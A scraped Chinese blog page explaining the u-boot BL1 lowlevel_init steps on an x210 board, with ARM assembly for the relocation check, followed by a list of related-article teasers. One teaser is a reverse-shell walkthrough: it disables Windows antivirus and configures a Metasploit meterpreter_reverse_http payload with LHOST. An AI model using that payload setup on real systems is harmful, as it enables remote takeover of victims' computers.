个人理解—uboot启动过程(2)BL1低级初始化

news2024/11/26 2:47:18

        lowlevel_init看名字就知道是关于初级方面的初始化,其中可用将其干的事情分为11个步骤:

        (1)push {lr} 也就是lr压栈。

        (2)检测复位状态:如冷上电、热启动、睡眠等。冷上电要初始化DDR后才能使用但是后面的两种不需要。

        (3)IO恢复。

        (4)关看门狗。

        (5)初始化SROM/SRAM(外部SRAM)。

        (6)PS_HOLD 锁存供电(分为两步。写成一步非法立即数不行)。

        (7)判断代码是否要重定位(当前代码在SRAM还是DDR中)运行状态是否等于链接地址。

                ①BL1代码在SRAM中与DDR中各有一份。如果是冷启动,代码在SRAM中,若是低功耗将会在DDR中(系统以前完整启动过)。

                ②判定当前地址可用,指导后面内容运行。主要就是要不要进行时钟或者DDR的初始化。代码在SRAM中->冷启动->初始化DDR与clock。代码在DDR中->热启动->不初始化后面的DDR与clock。

beq 1f    如果相等就会跳转到下方的1标号处
beq 1b    如果相等就会跳转到上方的1标号处

        运行地址是否等于链接地址的方法,对于x210而言是这样的:首先

bic r1 ,pc ,r0 (其中r0=0xff000fff)
目的是将pc的值取出,去除掉r0表示为1的位值,剩下的赋值给r1
r1=pc(&~(ff000fff))
ldr r2 ,_TEXT_BASE(C3E00000)这个值是ddr的链接地址
bic r2,r2,r0
r2=r2&~(ff000fff)
cmp r1 ,r2 比较r1和r2

        eg:(SRAM) pc=D0023456        TEXT_BASE=C3E00000

                (DDR) pc=C3E03456         TEXT_BASE=C3E00000

                比较pc的C3E与TEXT_BASE的C3E。

        (8)初始化时钟,system_clock_init(相关宏在x210_sd.h中)。

        (9)初始化内存,mem_ctrl_asm_init(DDR)。裸机中DMC0地址为0x20000000-0x2fffffff。uboot中可用物理地址为0x30000000-0x3fffffff。DMC0允许地址是0x20000000-0x3fffffff(一共512MB)。uboot中可用的物理地址为0x30000000-0x4fffffff,其中0x30000000-3fffffff为DMC0,0x40000000-4fffffff为DMC1。

        (10)初始化串口urat_asm_init。

        (11)tzpc_init (trust zone可信任区域初始化)。

        lowlevel_init.S执行完成完成OK的打印,其中O在串口初始化完成时打印,K在tzpc_init执行完成后打印。

        lowlevel_init执行完成。

        这里提一下代码二次开发的一个原则:原来的代码不需要了可用使用注释的方式实其不编译,而不是进行删除,且尽可能别重复。

        下一篇文章将继续对uboot的代码进行解析,下篇文章将开始于对栈的二次设置,敬请期待。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2063345.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无线电子产品前端射频设计注意事项

1 引言 1.1 编写目的 整理带无线的产品RF部分对外壳及PCBA设计注意事项,主要目的是为设计者提供一些参考,提高无线产品的设计质量和效率、保证可生产性。 1.2 背景 RF布局是射频电路设计极为重要的步骤和环节,关系到射频信号能否有效的工…

房产系统架构开发小程序分析

房产系统架构开发小程序在当前市场中具有显著的优势和潜力。以下是对房产小程序的分析: 用户需求满足:房产小程序通过提供楼盘信息查询、VR看房体验、购房流程指南等功能,满足用户对房产信息的需求,并提供更加便捷的用户体验 。…

第4章 汇编语言和汇编软件

第4章 汇编语言和汇编软件 该章主要介绍了汇编语言和汇编语言编译器的安装和使用。 汇编语言程序 该小节主要介绍了为什么要有汇编语言和汇编语言程序的一些基础写法。 书中有提到CPU有不同的架构,汇编语言有不同的风格,那么不同的CPU架构和不同的汇…

线上陪玩APP开发功能分析

随着电子竞技和在线娱乐的兴起,线上陪玩APP作为一种新兴的服务模式,逐渐受到广大游戏爱好者的青睐。开发一款高效、便捷、用户友好的线上陪玩APP,需要综合考虑市场调研、功能规划、技术选型、用户体验及安全性等多个方面。以下是对线上陪玩AP…

matter模组有无源测试事例

测试一款matter模组的硬件性能 1.1 天线阻抗、电压驻波比测试 主要测试:PCB板载天线设计效率及板材PCB铜面的平整度等 1.2 模组有源数据测试 主要测试:模组的阻抗匹配、频偏等情况 1.3 模组传输能量精度 主要测试:矢量误差等数据 1.4 模…

PCL “libvtkCommonCore-9.1.so.9.1.0: undefined reference to...@GLIBCXX_3.4.30”

1.问题描述: 完成 PCL、VTK 搭建后(https://mp.csdn.net/mp_blog/creation/editor/139858438),笔者运行PCL项目程序中,遇到下面错误: [build] /usr/bin/ld: /usr/lib/x86_64-linux-gnu/libvtkCommonCore-9.1.so.9.1.0: undefine…

云计算产业链图谱_产业链全景图_云计算行业市场分析

在产业数字化转型的背景下,云计算作为信息技术的重要组成部分,正逐渐成为各行业数字化、智能化转型的关键支撑。受益于5G、大数据、物联网、人工智能等技术的快速发展,云计算产业规模持续扩大,市场需求不断增长。云计算作为一种新…

【握奇数据招聘(北森)-注册/登录安全分析报告】

前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 1. 暴力破解密码,造成用户信息泄露 2. 短信盗刷的安全问题,影响业务及导致用户投诉 3. 带来经济损失,尤其是后付费客户,风险巨大,造…

顺序表的基本操作代码

seqlist.h&#xff1a; #pragma once #include<assert.h> #include<stdio.h> #include<stdlib.h> typedef int type; typedef struct Seqlist { type* data; int size; int capacity; }sl; //初始化顺序表 void initialize(sl* ps); //销毁线性表…

网页,html,Web端实现RTSP/RTMP实时推流视频和播放

随着技术的不断发展&#xff0c;实时流传输已经成为许多应用的重要组成部分。RTSP&#xff08;Real-Time Streaming Protocol&#xff09;作为一种实时流媒体传输协议&#xff0c;广泛应用于视频监控、直播等领域。然而&#xff0c;在Web端实现RTSP实时推流视频播放却面临一些挑…

CDGA|数据治理:打破数据孤岛,建设高质量数据库

在当今这个数据驱动的时代&#xff0c;数据已成为企业最宝贵的资产之一。然而&#xff0c;随着企业规模的扩大和业务复杂度的增加&#xff0c;数据孤岛现象日益凸显&#xff0c;严重阻碍了数据的有效利用和价值挖掘。数据治理作为解决这一问题的关键策略&#xff0c;正逐步成为…

ERP进销存系统源码,专业用于企业采购,销售全流程管理的全能系统 带完整的安装代码包

系统概述 在当今竞争激烈的商业环境中&#xff0c;企业管理的高效性和精确性至关重要。而 ERP 进销存系统作为一种集成化的管理工具&#xff0c;为企业提供了全方位的解决方案&#xff0c;能够有效提升企业的运营效率和竞争力。本文将深入探讨一款专业的 ERP 进销存系统源码&a…

缺失ffmpeg.dll要用什么修复方法?快速恢复丢失的ffmpeg.dll文件

多媒体软件用户常常会遭遇一个提示&#xff1a;系统无法找到ffmpeg.dll文件。这类情况经常在启动视频编辑软件、流媒体播放应用或其他音视频处理工具时出现&#xff0c;导致相关程序无法正确加载和执行。ffmpeg.dll是一种关键的动态链接库文件&#xff0c;负责处理复杂的视频和…

无需公网IP反弹shell

一、准备条件 kali机(网络畅通,具有ipv6地址) Windows10(关掉病毒实时查杀,尽量别开防火墙) 二、生成木门拿到shell 1.启动kali提权 2.查看自己的ipv6地址 3.设置msfconsole,生成木马 msfconsole use payload/windows/x64/meterpreter_reverse_http set LHOST ipv6…

博客的多重用途及使用技巧

在如今的信息化时代&#xff0c;博客已经成为人们分享信息和建立互联网平台的重要工具。从知识分享到建立品牌形象&#xff0c;博客的用途在不断拓展和进化。无论是个人还是企业&#xff0c;博客都提供了一个平台&#xff0c;让他们能够与更广泛的受众进行交流和互动。本文将详…

Jenkins 2.346.1完整搭建及项目部署安装

java version "1.8.0_202" 1.安装 官网下载war包直接启动&#xff0c;比较简单&#xff0c; linux命令 &#xff1a; wget https://mirrors.jenkins.io/war-stable/2.346.1/jenkins.war 2.启动命令 nohup java -jar jenkins.war --httpPort8777 --prefix/jenkin…

智能化系统集成项目经理是什么?含金量怎么样?

智能化系统项目集成经理负责规划、设计、实施、管理以及维护智能化系统项目&#xff0c;他们不仅需要掌握深厚的智能化系统知识&#xff0c;还需具备出色的项目管理能力&#xff0c;以确保项目的流畅进行和高效率完成。 伴随智能技术的广泛应用及行业的迅猛发展&#xff0c;对…

【一招解决】局域网内命令行无法通过代理进行依赖下载,适用于npm、pip、mvn、gradle等命令

【一招解决】局域网内命令行无法通过代理进行依赖下载&#xff0c;适用于npm、pip、mvn、gradle等 一、背景二、解决方法2.1 明确代理服务器使用的协议2.2 命令行设置代理2.3 环境变量设置 三、效果 一、背景 出于网络安全考虑&#xff0c;局域网内终端上网只能通过代理浏览开…

thinkphp邮件发送:如何配置SMTP实现功能?

thinkphp邮件发送的技巧&#xff1f;如何集成thinkphp来发信&#xff1f; 通过ThinkPHP邮件发送&#xff0c;我们可以实现如用户注册、密码找回、通知提醒等功能。那么&#xff0c;如何配置SMTP以便使用ThinkPHP邮件发送功能呢&#xff1f;接下来AokSend将详细介绍。 thinkph…

数据结构之LRUCache

找往期文章包括但不限于本期文章中不懂的知识点&#xff1a; 个人主页&#xff1a;我要学编程(ಥ_ಥ)-CSDN博客 所属专栏&#xff1a;数据结构&#xff08;Java版&#xff09; 目录 LRU Cache的概念 LRU Cache的实现 模拟实现LRU Cache 相关练习 LRU Cache的概念 LRU是…